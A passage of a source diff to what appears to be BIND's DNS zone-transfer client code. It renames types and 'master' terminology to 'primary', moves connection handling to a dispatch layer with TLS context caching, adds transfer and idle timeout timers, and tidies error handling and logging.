  */
 
 static isc_result_t
-axfr_init(dns_xfrin_ctx_t *xfr) {
+axfr_init(dns_xfrin_t *xfr) {
 	isc_result_t result;
 
 	xfr->is_ixfr = false;
@@ -286,7 +284,7 @@ axfr_init(dns_xfrin_ctx_t *xfr) {
 }
 
 static isc_result_t
-axfr_makedb(dns_xfrin_ctx_t *xfr, dns_db_t **dbp) {
+axfr_makedb(dns_xfrin_t *xfr, dns_db_t **dbp) {
 	isc_result_t result;
 
 	result = dns_db_create(xfr->mctx, /* XXX */
@@ -302,8 +300,8 @@ axfr_makedb(dns_xfrin_ctx_t *xfr, dns_db_t **dbp) {
 }
 
 static isc_result_t
-axfr_putdata(dns_xfrin_ctx_t *xfr, dns_diffop_t op, dns_name_t *name,
-	     dns_ttl_t ttl, dns_rdata_t *rdata) {
+axfr_putdata(dns_xfrin_t *xfr, dns_diffop_t op, dns_name_t *name, dns_ttl_t ttl,
+	     dns_rdata_t *rdata) {
 	isc_result_t result;
 
 	dns_difftuple_t *tuple = NULL;
@@ -328,7 +326,7 @@ axfr_putdata(dns_xfrin_ctx_t *xfr, dns_diffop_t op, dns_name_t *name,
  * Store a set of AXFR RRs in the database.
  */
 static isc_result_t
-axfr_apply(dns_xfrin_ctx_t *xfr) {
+axfr_apply(dns_xfrin_t *xfr) {
 	isc_result_t result;
 	uint64_t records;
 
@@ -348,7 +346,7 @@ axfr_apply(dns_xfrin_ctx_t *xfr) {
 }
 
 static isc_result_t
-axfr_commit(dns_xfrin_ctx_t *xfr) {
+axfr_commit(dns_xfrin_t *xfr) {
 	isc_result_t result;
 
 	CHECK(axfr_apply(xfr));
@@ -361,13 +359,13 @@ axfr_commit(dns_xfrin_ctx_t *xfr) {
 }
 
 static isc_result_t
-axfr_finalize(dns_xfrin_ctx_t *xfr) {
+axfr_finalize(dns_xfrin_t *xfr) {
 	isc_result_t result;
 
-	CHECK(dns_zone_replacedb(xfr->zone, xfr->db, true));
+	LIBDNS_XFRIN_AXFR_FINALIZE_BEGIN(xfr, xfr->info);
+	result = dns_zone_replacedb(xfr->zone, xfr->db, true);
+	LIBDNS_XFRIN_AXFR_FINALIZE_END(xfr, xfr->info, result);
 
-	result = ISC_R_SUCCESS;
-failure:
 	return (result);
 }
 
@@ -377,12 +375,12 @@ axfr_finalize(dns_xfrin_ctx_t *xfr) {
  */
 
 static isc_result_t
-ixfr_init(dns_xfrin_ctx_t *xfr) {
+ixfr_init(dns_xfrin_t *xfr) {
 	isc_result_t result;
 	char *journalfile = NULL;
 
 	if (xfr->reqtype != dns_rdatatype_ixfr) {
-		xfrin_log(xfr, ISC_LOG_ERROR,
+		xfrin_log(xfr, ISC_LOG_NOTICE,
 			  "got incremental response to AXFR request");
 		return (DNS_R_FORMERR);
 	}
@@ -403,8 +401,8 @@ ixfr_init(dns_xfrin_ctx_t *xfr) {
 }
 
 static isc_result_t
-ixfr_putdata(dns_xfrin_ctx_t *xfr, dns_diffop_t op, dns_name_t *name,
-	     dns_ttl_t ttl, dns_rdata_t *rdata) {
+ixfr_putdata(dns_xfrin_t *xfr, dns_diffop_t op, dns_name_t *name, dns_ttl_t ttl,
+	     dns_rdata_t *rdata) {
 	isc_result_t result;
 	dns_difftuple_t *tuple = NULL;
 
@@ -430,7 +428,7 @@ ixfr_putdata(dns_xfrin_ctx_t *xfr, dns_diffop_t op, dns_name_t *name,
  * Apply a set of IXFR changes to the database.
  */
 static isc_result_t
-ixfr_apply(dns_xfrin_ctx_t *xfr) {
+ixfr_apply(dns_xfrin_t *xfr) {
 	isc_result_t result;
 	uint64_t records;
 
@@ -462,7 +460,7 @@ ixfr_apply(dns_xfrin_ctx_t *xfr) {
 }
 
 static isc_result_t
-ixfr_commit(dns_xfrin_ctx_t *xfr) {
+ixfr_commit(dns_xfrin_t *xfr) {
 	isc_result_t result;
 
 	CHECK(ixfr_apply(xfr));
@@ -490,14 +488,18 @@ ixfr_commit(dns_xfrin_ctx_t *xfr) {
  * state.
  */
 static isc_result_t
-xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
-       dns_rdata_t *rdata) {
+xfr_rr(dns_xfrin_t *xfr, dns_name_t *name, uint32_t ttl, dns_rdata_t *rdata) {
 	isc_result_t result;
 
 	xfr->nrecs++;
 
 	if (rdata->type == dns_rdatatype_none ||
-	    dns_rdatatype_ismeta(rdata->type)) {
+	    dns_rdatatype_ismeta(rdata->type))
+	{
+		char buf[64];
+		dns_rdatatype_format(rdata->type, buf, sizeof(buf));
+		xfrin_log(xfr, ISC_LOG_NOTICE,
+			  "Unexpected %s record in zone transfer", buf);
 		FAIL(DNS_R_FORMERR);
 	}
 
@@ -507,7 +509,8 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 	 * apex.
 	 */
 	if (rdata->type == dns_rdatatype_soa &&
-	    !dns_name_equal(&xfr->name, name)) {
+	    !dns_name_equal(&xfr->name, name))
+	{
 		char namebuf[DNS_NAME_FORMATSIZE];
 		dns_name_format(name, namebuf, sizeof(namebuf));
 		xfrin_log(xfr, ISC_LOG_DEBUG(3), "SOA name mismatch: '%s'",
@@ -519,7 +522,7 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 	switch (xfr->state) {
 	case XFRST_SOAQUERY:
 		if (rdata->type != dns_rdatatype_soa) {
-			xfrin_log(xfr, ISC_LOG_ERROR,
+			xfrin_log(xfr, ISC_LOG_NOTICE,
 				  "non-SOA response to SOA query");
 			FAIL(DNS_R_FORMERR);
 		}
@@ -529,7 +532,7 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 		{
 			xfrin_log(xfr, ISC_LOG_DEBUG(3),
 				  "requested serial %u, "
-				  "master has %u, not updating",
+				  "primary has %u, not updating",
 				  xfr->ixfr.request_serial, xfr->end_serial);
 			FAIL(DNS_R_UPTODATE);
 		}
@@ -544,7 +547,7 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 
 	case XFRST_INITIALSOA:
 		if (rdata->type != dns_rdatatype_soa) {
-			xfrin_log(xfr, ISC_LOG_ERROR,
+			xfrin_log(xfr, ISC_LOG_NOTICE,
 				  "first RR in zone transfer must be SOA");
 			FAIL(DNS_R_FORMERR);
 		}
@@ -559,12 +562,12 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 		{
 			/*
 			 * This must be the single SOA record that is
-			 * sent when the current version on the master
+			 * sent when the current version on the primary
 			 * is not newer than the version in the request.
 			 */
 			xfrin_log(xfr, ISC_LOG_DEBUG(3),
 				  "requested serial %u, "
-				  "master has %u, not updating",
+				  "primary has %u, not updating",
 				  xfr->ixfr.request_serial, xfr->end_serial);
 			FAIL(DNS_R_UPTODATE);
 		}
@@ -629,7 +632,7 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 				xfr->state = XFRST_IXFR_END;
 				break;
 			} else if (soa_serial != xfr->ixfr.current_serial) {
-				xfrin_log(xfr, ISC_LOG_ERROR,
+				xfrin_log(xfr, ISC_LOG_NOTICE,
 					  "IXFR out of sync: "
 					  "expected serial %u, got %u",
 					  xfr->ixfr.current_serial, soa_serial);
@@ -641,7 +644,8 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 			}
 		}
 		if (rdata->type == dns_rdatatype_ns &&
-		    dns_name_iswildcard(name)) {
+		    dns_name_iswildcard(name))
+		{
 			FAIL(DNS_R_INVALIDNS);
 		}
 		CHECK(ixfr_putdata(xfr, DNS_DIFFOP_ADD, name, ttl, rdata));
@@ -664,7 +668,7 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 			 * allow for case differences.
 			 */
 			if (dns_rdata_compare(rdata, &xfr->firstsoa) != 0) {
-				xfrin_log(xfr, ISC_LOG_ERROR,
+				xfrin_log(xfr, ISC_LOG_NOTICE,
 					  "start and ending SOA records "
 					  "mismatch");
 				FAIL(DNS_R_FORMERR);
@@ -677,11 +681,9 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 	case XFRST_AXFR_END:
 	case XFRST_IXFR_END:
 		FAIL(DNS_R_EXTRADATA);
-	/* NOTREACHED */
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 	result = ISC_R_SUCCESS;
 failure:
@@ -690,19 +692,21 @@ xfr_rr(dns_xfrin_ctx_t *xfr, dns_name_t *name, uint32_t ttl,
 
 isc_result_t
 dns_xfrin_create(dns_zone_t *zone, dns_rdatatype_t xfrtype,
-		 const isc_sockaddr_t *masteraddr,
-		 const isc_sockaddr_t *sourceaddr, isc_dscp_t dscp,
-		 dns_tsigkey_t *tsigkey, dns_transport_t *transport,
-		 isc_mem_t *mctx, isc_nm_t *netmgr, dns_xfrindone_t done,
-		 dns_xfrin_ctx_t **xfrp) {
+		 const isc_sockaddr_t *primaryaddr,
+		 const isc_sockaddr_t *sourceaddr, dns_tsigkey_t *tsigkey,
+		 dns_transport_t *transport, isc_tlsctx_cache_t *tlsctx_cache,
+		 isc_mem_t *mctx, dns_xfrindone_t done, dns_xfrin_t **xfrp) {
 	dns_name_t *zonename = dns_zone_getorigin(zone);
-	dns_xfrin_ctx_t *xfr = NULL;
+	dns_xfrin_t *xfr = NULL;
 	isc_result_t result;
 	dns_db_t *db = NULL;
 
 	REQUIRE(xfrp != NULL && *xfrp == NULL);
 	REQUIRE(done != NULL);
-	REQUIRE(isc_sockaddr_getport(masteraddr) != 0);
+	REQUIRE(isc_sockaddr_getport(primaryaddr) != 0);
+	REQUIRE(zone != NULL);
+	REQUIRE(dns_zone_getview(zone) != NULL);
+	REQUIRE(dns_zone_gettid(zone) == isc_tid());
 
 	(void)dns_zone_getdb(zone, &db);
 
@@ -710,8 +714,8 @@ dns_xfrin_create(dns_zone_t *zone, dns_rdatatype_t xfrtype,
 		REQUIRE(db != NULL);
 	}
 
-	xfrin_create(mctx, zone, db, netmgr, zonename, dns_zone_getclass(zone),
-		     xfrtype, masteraddr, sourceaddr, dscp, tsigkey, transport,
+	xfrin_create(mctx, zone, db, zonename, dns_zone_getclass(zone), xfrtype,
+		     primaryaddr, sourceaddr, tsigkey, transport, tlsctx_cache,
 		     &xfr);
 
 	if (db != NULL) {
@@ -723,11 +727,9 @@ dns_xfrin_create(dns_zone_t *zone, dns_rdatatype_t xfrtype,
 	isc_refcount_init(&xfr->references, 1);
 
 	/*
-	 * Set *xfrp now, before calling xfrin_start(). Asynchronous
-	 * netmgr processing could cause the 'done' callback to run in
-	 * another thread before we reached the end of the present
-	 * function. In that case, if *xfrp hadn't already been
-	 * attached, the 'done' function would be unable to detach it.
+	 * Set *xfrp now, before calling xfrin_start(), otherwise it's
+	 * possible the 'done' callback could be run before *xfrp
+	 * was attached.
 	 */
 	*xfrp = xfr;
 
@@ -735,6 +737,7 @@ dns_xfrin_create(dns_zone_t *zone, dns_rdatatype_t xfrtype,
 	if (result != ISC_R_SUCCESS) {
 		atomic_store(&xfr->shuttingdown, true);
 		xfr->shutdown_result = result;
+		xfrin_log(xfr, ISC_LOG_ERROR, "zone transfer setup failed");
 		dns_xfrin_detach(xfrp);
 	}
 
@@ -742,68 +745,49 @@ dns_xfrin_create(dns_zone_t *zone, dns_rdatatype_t xfrtype,
 		dns_db_detach(&db);
 	}
 
-	if (result != ISC_R_SUCCESS) {
-		char zonetext[DNS_NAME_MAXTEXT + 32];
-		dns_zone_name(zone, zonetext, sizeof(zonetext));
-		xfrin_log1(ISC_LOG_ERROR, zonetext, masteraddr,
-			   "zone transfer setup failed");
-	}
-
 	return (result);
 }
 
 static void
-xfrin_cancelio(dns_xfrin_ctx_t *xfr);
-
-void
-dns_xfrin_shutdown(dns_xfrin_ctx_t *xfr) {
+xfrin_timedout(void *xfr) {
 	REQUIRE(VALID_XFRIN(xfr));
 
-	xfrin_fail(xfr, ISC_R_CANCELED, "shut down");
+	xfrin_fail(xfr, ISC_R_TIMEDOUT, "maximum transfer time exceeded");
 }
 
-void
-dns_xfrin_attach(dns_xfrin_ctx_t *source, dns_xfrin_ctx_t **target) {
-	REQUIRE(VALID_XFRIN(source));
-	REQUIRE(target != NULL && *target == NULL);
-	(void)isc_refcount_increment(&source->references);
+static void
+xfrin_idledout(void *xfr) {
+	REQUIRE(VALID_XFRIN(xfr));
 
-	*target = source;
+	xfrin_fail(xfr, ISC_R_TIMEDOUT, "maximum idle time exceeded");
 }
 
 void
-dns_xfrin_detach(dns_xfrin_ctx_t **xfrp) {
-	dns_xfrin_ctx_t *xfr = NULL;
-
-	REQUIRE(xfrp != NULL && VALID_XFRIN(*xfrp));
-
-	xfr = *xfrp;
-	*xfrp = NULL;
+dns_xfrin_shutdown(dns_xfrin_t *xfr) {
+	REQUIRE(VALID_XFRIN(xfr));
+	REQUIRE(dns_zone_gettid(xfr->zone) == isc_tid());
 
-	if (isc_refcount_decrement(&xfr->references) == 1) {
-		xfrin_destroy(xfr);
-	}
+	xfrin_fail(xfr, ISC_R_CANCELED, "shut down");
 }
 
-static void
-xfrin_cancelio(dns_xfrin_ctx_t *xfr) {
-	if (xfr->readhandle == NULL) {
-		return;
-	}
+#if DNS_XFRIN_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_xfrin, xfrin_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_xfrin, xfrin_destroy);
+#endif
 
-	isc_nm_cancelread(xfr->readhandle);
-	/* The xfr->readhandle detach will happen in xfrin_recv_done callback */
+static void
+xfrin_cancelio(dns_xfrin_t *xfr) {
+	dns_dispatch_done(&xfr->dispentry);
+	dns_dispatch_detach(&xfr->disp);
 }
 
 static void
-xfrin_reset(dns_xfrin_ctx_t *xfr) {
+xfrin_reset(dns_xfrin_t *xfr) {
 	REQUIRE(VALID_XFRIN(xfr));
 
 	xfrin_log(xfr, ISC_LOG_INFO, "resetting");
 
-	REQUIRE(xfr->readhandle == NULL);
-	REQUIRE(xfr->sendhandle == NULL);
-
 	if (xfr->lasttsig != NULL) {
 		isc_buffer_free(&xfr->lasttsig);
 	}
@@ -825,21 +809,29 @@ xfrin_reset(dns_xfrin_ctx_t *xfr) {
 }
 
 static void
-xfrin_fail(dns_xfrin_ctx_t *xfr, isc_result_t result, const char *msg) {
+xfrin_fail(dns_xfrin_t *xfr, isc_result_t result, const char *msg) {
+	dns_xfrin_ref(xfr);
+
 	/* Make sure only the first xfrin_fail() trumps */
 	if (atomic_compare_exchange_strong(&xfr->shuttingdown, &(bool){ false },
-					   true)) {
+					   true))
+	{
+		isc_timer_stop(xfr->max_time_timer);
+		isc_timer_stop(xfr->max_idle_timer);
+
 		if (result != DNS_R_UPTODATE && result != DNS_R_TOOMANYRECORDS)
 		{
 			xfrin_log(xfr, ISC_LOG_ERROR, "%s: %s", msg,
 				  isc_result_totext(result));
 			if (xfr->is_ixfr) {
-				/* Pass special result code to force AXFR retry
+				/*
+				 * Pass special result code to force AXFR retry
 				 */
 				result = DNS_R_BADIXFR;
 			}
 		}
 		xfrin_cancelio(xfr);
+
 		/*
 		 * Close the journal.
 		 */
@@ -847,42 +839,44 @@ xfrin_fail(dns_xfrin_ctx_t *xfr, isc_result_t result, const char *msg) {
 			dns_journal_destroy(&xfr->ixfr.journal);
 		}
 		if (xfr->done != NULL) {
-			(xfr->done)(xfr->zone, result);
+			(xfr->done)(xfr->zone,
+				    xfr->expireoptset ? &xfr->expireopt : NULL,
+				    result);
 			xfr->done = NULL;
 		}
 		xfr->shutdown_result = result;
 	}
+
+	dns_xfrin_detach(&xfr);
 }
 
 static void
-xfrin_create(isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db, isc_nm_t *netmgr,
+xfrin_create(isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db,
 	     dns_name_t *zonename, dns_rdataclass_t rdclass,
-	     dns_rdatatype_t reqtype, const isc_sockaddr_t *masteraddr,
-	     const isc_sockaddr_t *sourceaddr, isc_dscp_t dscp,
-	     dns_tsigkey_t *tsigkey, dns_transport_t *transport,
-	     dns_xfrin_ctx_t **xfrp) {
-	dns_xfrin_ctx_t *xfr = NULL;
+	     dns_rdatatype_t reqtype, const isc_sockaddr_t *primaryaddr,
+	     const isc_sockaddr_t *sourceaddr, dns_tsigkey_t *tsigkey,
+	     dns_transport_t *transport, isc_tlsctx_cache_t *tlsctx_cache,
+	     dns_xfrin_t **xfrp) {
+	dns_xfrin_t *xfr = NULL;
 
 	xfr = isc_mem_get(mctx, sizeof(*xfr));
-	*xfr = (dns_xfrin_ctx_t){ .netmgr = netmgr,
-				  .shutdown_result = ISC_R_UNSET,
-				  .rdclass = rdclass,
-				  .reqtype = reqtype,
-				  .dscp = dscp,
-				  .id = (dns_messageid_t)isc_random16(),
-				  .maxrecords = dns_zone_getmaxrecords(zone),
-				  .masteraddr = *masteraddr,
-				  .sourceaddr = *sourceaddr,
-				  .firstsoa = DNS_RDATA_INIT };
+	*xfr = (dns_xfrin_t){
+		.shutdown_result = ISC_R_UNSET,
+		.rdclass = rdclass,
+		.reqtype = reqtype,
+		.maxrecords = dns_zone_getmaxrecords(zone),
+		.primaryaddr = *primaryaddr,
+		.sourceaddr = *sourceaddr,
+		.firstsoa = DNS_RDATA_INIT,
+		.edns = true,
+		.magic = XFRIN_MAGIC,
+	};
 
 	isc_mem_attach(mctx, &xfr->mctx);
 	dns_zone_iattach(zone, &xfr->zone);
+	dns_view_weakattach(dns_zone_getview(zone), &xfr->view);
 	dns_name_init(&xfr->name, NULL);
 
-	isc_refcount_init(&xfr->connects, 0);
-	isc_refcount_init(&xfr->sends, 0);
-	isc_refcount_init(&xfr->recvs, 0);
-
 	atomic_init(&xfr->shuttingdown, false);
 
 	if (db != NULL) {
@@ -897,7 +891,7 @@ xfrin_create(isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db, isc_nm_t *netmgr,
 		xfr->state = XFRST_INITIALSOA;
 	}
 
-	isc_time_now(&xfr->start);
+	xfr->start = isc_time_now();
 
 	if (tsigkey != NULL) {
 		dns_tsigkey_attach(tsigkey, &xfr->tsigkey);
@@ -909,7 +903,7 @@ xfrin_create(isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db, isc_nm_t *netmgr,
 
 	dns_name_dup(zonename, mctx, &xfr->name);
 
-	INSIST(isc_sockaddr_pf(masteraddr) == isc_sockaddr_pf(sourceaddr));
+	INSIST(isc_sockaddr_pf(primaryaddr) == isc_sockaddr_pf(sourceaddr));
 	isc_sockaddr_setport(&xfr->sourceaddr, 0);
 
 	/*
@@ -918,54 +912,93 @@ xfrin_create(isc_mem_t *mctx, dns_zone_t *zone, dns_db_t *db, isc_nm_t *netmgr,
 	isc_buffer_init(&xfr->qbuffer, &xfr->qbuffer_data[2],
 			sizeof(xfr->qbuffer_data) - 2);
 
-	xfr->magic = XFRIN_MAGIC;
+	isc_tlsctx_cache_attach(tlsctx_cache, &xfr->tlsctx_cache);
+
+	isc_timer_create(dns_zone_getloop(zone), xfrin_timedout, xfr,
+			 &xfr->max_time_timer);
+	isc_timer_create(dns_zone_getloop(zone), xfrin_idledout, xfr,
+			 &xfr->max_idle_timer);
+
+	dns_zone_name(xfr->zone, xfr->info, sizeof(xfr->info));
 
 	*xfrp = xfr;
 }
 
 static isc_result_t
-xfrin_start(dns_xfrin_ctx_t *xfr) {
-	isc_result_t result;
-	dns_xfrin_ctx_t *connect_xfr = NULL;
-	dns_transport_type_t transport_type = DNS_TRANSPORT_TCP;
+xfrin_start(dns_xfrin_t *xfr) {
+	isc_result_t result = ISC_R_FAILURE;
+	isc_interval_t interval;
 
-	(void)isc_refcount_increment0(&xfr->connects);
-	dns_xfrin_attach(xfr, &connect_xfr);
+	dns_xfrin_ref(xfr);
 
-	if (xfr->transport != NULL) {
-		transport_type = dns_transport_get_type(xfr->transport);
+	/*
+	 * Reuse an existing TCP connection if possible.  For XoT, we can't
+	 * do this because other connections could be using a different
+	 * certificate, so we just create a new dispatch every time.
+	 */
+	if (xfr->transport == NULL ||
+	    dns_transport_get_type(xfr->transport) == DNS_TRANSPORT_TCP)
+	{
+		dns_dispatchmgr_t *dispmgr = dns_view_getdispatchmgr(xfr->view);
+		if (dispmgr == NULL) {
+			result = ISC_R_SHUTTINGDOWN;
+		} else {
+			result = dns_dispatch_gettcp(dispmgr, &xfr->primaryaddr,
+						     &xfr->sourceaddr,
+						     &xfr->disp);
+			dns_dispatchmgr_detach(&dispmgr);
+		}
 	}
+	if (result == ISC_R_SUCCESS) {
+		char peer[ISC_SOCKADDR_FORMATSIZE];
+		isc_sockaddr_format(&xfr->primaryaddr, peer, sizeof(peer));
+		xfrin_log(xfr, ISC_LOG_DEBUG(1),
+			  "attached to TCP connection to %s", peer);
+	} else {
+		dns_dispatchmgr_t *dispmgr = dns_view_getdispatchmgr(xfr->view);
+		if (dispmgr == NULL) {
+			result = ISC_R_SHUTTINGDOWN;
+		} else {
+			result = dns_dispatch_createtcp(
+				dispmgr, &xfr->sourceaddr, &xfr->primaryaddr,
+				&xfr->disp);
+			dns_dispatchmgr_detach(&dispmgr);
+		}
+		CHECK(result);
+	}
+
+	LIBDNS_XFRIN_START(xfr, xfr->info);
+
+	/* Set the maximum timer */
+	isc_interval_set(&interval, dns_zone_getmaxxfrin(xfr->zone), 0);
+	isc_timer_start(xfr->max_time_timer, isc_timertype_once, &interval);
+
+	/* Set the idle timer */
+	isc_interval_set(&interval, dns_zone_getidlein(xfr->zone), 0);
+	isc_timer_start(xfr->max_idle_timer, isc_timertype_once, &interval);
 
 	/*
 	 * XXX: timeouts are hard-coded to 30 seconds; this needs to be
 	 * configurable.
 	 */
-	switch (transport_type) {
-	case DNS_TRANSPORT_TCP:
-		isc_nm_tcpdnsconnect(xfr->netmgr, &xfr->sourceaddr,
-				     &xfr->masteraddr, xfrin_connect_done,
-				     connect_xfr, 30000, 0);
-		break;
-	case DNS_TRANSPORT_TLS:
-		CHECK(isc_tlsctx_createclient(&xfr->tlsctx));
-		isc_nm_tlsdnsconnect(xfr->netmgr, &xfr->sourceaddr,
-				     &xfr->masteraddr, xfrin_connect_done,
-				     connect_xfr, 30000, 0, xfr->tlsctx);
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
+	CHECK(dns_dispatch_add(xfr->disp, dns_zone_getloop(xfr->zone), 0, 30000,
+			       &xfr->primaryaddr, xfr->transport,
+			       xfr->tlsctx_cache, xfrin_connect_done,
+			       xfrin_send_done, xfrin_recv_done, xfr, &xfr->id,
+			       &xfr->dispentry));
+	CHECK(dns_dispatch_connect(xfr->dispentry));
 
-	/* TODO	isc_socket_dscp(xfr->socket, xfr->dscp); */
 	return (ISC_R_SUCCESS);
 
 failure:
-	if (xfr->tlsctx != NULL) {
-		isc_tlsctx_free(&xfr->tlsctx);
+	if (xfr->dispentry != NULL) {
+		dns_dispatch_done(&xfr->dispentry);
+	}
+	if (xfr->disp != NULL) {
+		dns_dispatch_detach(&xfr->disp);
 	}
-	isc_refcount_decrement0(&xfr->connects);
-	dns_xfrin_detach(&connect_xfr);
+	dns_xfrin_detach(&xfr);
+
 	return (result);
 }
 
@@ -974,11 +1007,9 @@ xfrin_start(dns_xfrin_ctx_t *xfr) {
 static isc_result_t
 render(dns_message_t *msg, isc_mem_t *mctx, isc_buffer_t *buf) {
 	dns_compress_t cctx;
-	bool cleanup_cctx = false;
 	isc_result_t result;
 
-	CHECK(dns_compress_init(&cctx, -1, mctx));
-	cleanup_cctx = true;
+	dns_compress_init(&cctx, mctx, 0);
 	CHECK(dns_message_renderbegin(msg, &cctx, buf));
 	CHECK(dns_message_rendersection(msg, DNS_SECTION_QUESTION, 0));
 	CHECK(dns_message_rendersection(msg, DNS_SECTION_ANSWER, 0));
@@ -987,9 +1018,7 @@ render(dns_message_t *msg, isc_mem_t *mctx, isc_buffer_t *buf) {
 	CHECK(dns_message_renderend(msg));
 	result = ISC_R_SUCCESS;
 failure:
-	if (cleanup_cctx) {
-		dns_compress_invalidate(&cctx);
-	}
+	dns_compress_invalidate(&cctx);
 	return (result);
 }
 
@@ -997,46 +1026,39 @@ render(dns_message_t *msg, isc_mem_t *mctx, isc_buffer_t *buf) {
  * A connection has been established.
  */
 static void
-xfrin_connect_done(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
-	dns_xfrin_ctx_t *xfr = (dns_xfrin_ctx_t *)cbarg;
-	char sourcetext[ISC_SOCKADDR_FORMATSIZE];
+xfrin_connect_done(isc_result_t result, isc_region_t *region ISC_ATTR_UNUSED,
+		   void *arg) {
+	dns_xfrin_t *xfr = (dns_xfrin_t *)arg;
+	char addrtext[ISC_SOCKADDR_FORMATSIZE];
 	char signerbuf[DNS_NAME_FORMATSIZE];
 	const char *signer = "", *sep = "";
-	isc_sockaddr_t sockaddr;
 	dns_zonemgr_t *zmgr = NULL;
-	isc_time_t now;
 
 	REQUIRE(VALID_XFRIN(xfr));
 
-	isc_refcount_decrement0(&xfr->connects);
-
-	if (xfr->tlsctx != NULL) {
-		isc_tlsctx_free(&xfr->tlsctx);
-	}
-
 	if (atomic_load(&xfr->shuttingdown)) {
 		result = ISC_R_SHUTTINGDOWN;
 	}
 
-	CHECK(result);
+	LIBDNS_XFRIN_CONNECTED(xfr, xfr->info, result);
+
+	if (result != ISC_R_SUCCESS) {
+		xfrin_fail(xfr, result, "failed to connect");
+		goto failure;
+	}
+
+	result = dns_dispatch_checkperm(xfr->disp);
+	if (result != ISC_R_SUCCESS) {
+		xfrin_fail(xfr, result, "connected but unable to transfer");
+		goto failure;
+	}
 
 	zmgr = dns_zone_getmgr(xfr->zone);
 	if (zmgr != NULL) {
-		if (result != ISC_R_SUCCESS) {
-			TIME_NOW(&now);
-			dns_zonemgr_unreachableadd(zmgr, &xfr->masteraddr,
-						   &xfr->sourceaddr, &now);
-			CHECK(result);
-		} else {
-			dns_zonemgr_unreachabledel(zmgr, &xfr->masteraddr,
-						   &xfr->sourceaddr);
-		}
+		dns_zonemgr_unreachabledel(zmgr, &xfr->primaryaddr,
+					   &xfr->sourceaddr);
 	}
 
-	xfr->handle = handle;
-	sockaddr = isc_nmhandle_peeraddr(handle);
-	isc_sockaddr_format(&sockaddr, sourcetext, sizeof(sourcetext));
-
 	if (xfr->tsigkey != NULL && xfr->tsigkey->key != NULL) {
 		dns_name_format(dst_key_name(xfr->tsigkey->key), signerbuf,
 				sizeof(signerbuf));
@@ -1044,26 +1066,54 @@ xfrin_connect_done(isc_nmhandle_t *handle, isc_result_t result, void *cbarg) {
 		signer = signerbuf;
 	}
 
-	xfrin_log(xfr, ISC_LOG_INFO, "connected using %s%s%s", sourcetext, sep,
+	isc_sockaddr_format(&xfr->primaryaddr, addrtext, sizeof(addrtext));
+	xfrin_log(xfr, ISC_LOG_INFO, "connected using %s%s%s", addrtext, sep,
 		  signer);
 
-	CHECK(xfrin_send_request(xfr));
+	result = xfrin_send_request(xfr);
+	if (result != ISC_R_SUCCESS) {
+		xfrin_fail(xfr, result, "connected but unable to send");
+		goto detach;
+	}
+
+	return;
 
 failure:
-	if (result != ISC_R_SUCCESS) {
-		xfrin_fail(xfr, result, "failed to connect");
+	switch (result) {
+	case ISC_R_NETDOWN:
+	case ISC_R_HOSTDOWN:
+	case ISC_R_NETUNREACH:
+	case ISC_R_HOSTUNREACH:
+	case ISC_R_CONNREFUSED:
+	case ISC_R_TIMEDOUT:
+		/*
+		 * Add the server to unreachable primaries table if
+		 * the server has a permanent networking error or
+		 * the connection attempt as timed out.
+		 */
+		zmgr = dns_zone_getmgr(xfr->zone);
+		if (zmgr != NULL) {
+			isc_time_t now = isc_time_now();
+
+			dns_zonemgr_unreachableadd(zmgr, &xfr->primaryaddr,
+						   &xfr->sourceaddr, &now);
+		}
+		break;
+	default:
+		/* Retry sooner than in 10 minutes */
+		break;
 	}
 
-	dns_xfrin_detach(&xfr); /* connect_xfr */
+detach:
+	dns_xfrin_unref(xfr);
 }
 
 /*
  * Convert a tuple into a dns_name_t suitable for inserting
  * into the given dns_message_t.
  */
-static isc_result_t
+static void
 tuple2msgname(dns_difftuple_t *tuple, dns_message_t *msg, dns_name_t **target) {
-	isc_result_t result;
 	dns_rdata_t *rdata = NULL;
 	dns_rdatalist_t *rdl = NULL;
 	dns_rdataset_t *rds = NULL;
@@ -1071,49 +1121,78 @@ tuple2msgname(dns_difftuple_t *tuple, dns_message_t *msg, dns_name_t **target) {
 
 	REQUIRE(target != NULL && *target == NULL);
 
-	CHECK(dns_message_gettemprdata(msg, &rdata));
+	dns_message_gettemprdata(msg, &rdata);
 	dns_rdata_init(rdata);
 	dns_rdata_clone(&tuple->rdata, rdata);
 
-	CHECK(dns_message_gettemprdatalist(msg, &rdl));
+	dns_message_gettemprdatalist(msg, &rdl);
 	dns_rdatalist_init(rdl);
 	rdl->type = tuple->rdata.type;
 	rdl->rdclass = tuple->rdata.rdclass;
 	rdl->ttl = tuple->ttl;
 	ISC_LIST_APPEND(rdl->rdata, rdata, link);
 
-	CHECK(dns_message_gettemprdataset(msg, &rds));
-	CHECK(dns_rdatalist_tordataset(rdl, rds));
+	dns_message_gettemprdataset(msg, &rds);
+	dns_rdatalist_tordataset(rdl, rds);
 
-	CHECK(dns_message_gettempname(msg, &name));
+	dns_message_gettempname(msg, &name);
 	dns_name_clone(&tuple->name, name);
 	ISC_LIST_APPEND(name->list, rds, link);
 
 	*target = name;
-	return (ISC_R_SUCCESS);
-
-failure:
+}
 
-	if (rds != NULL) {
-		dns_rdataset_disassociate(rds);
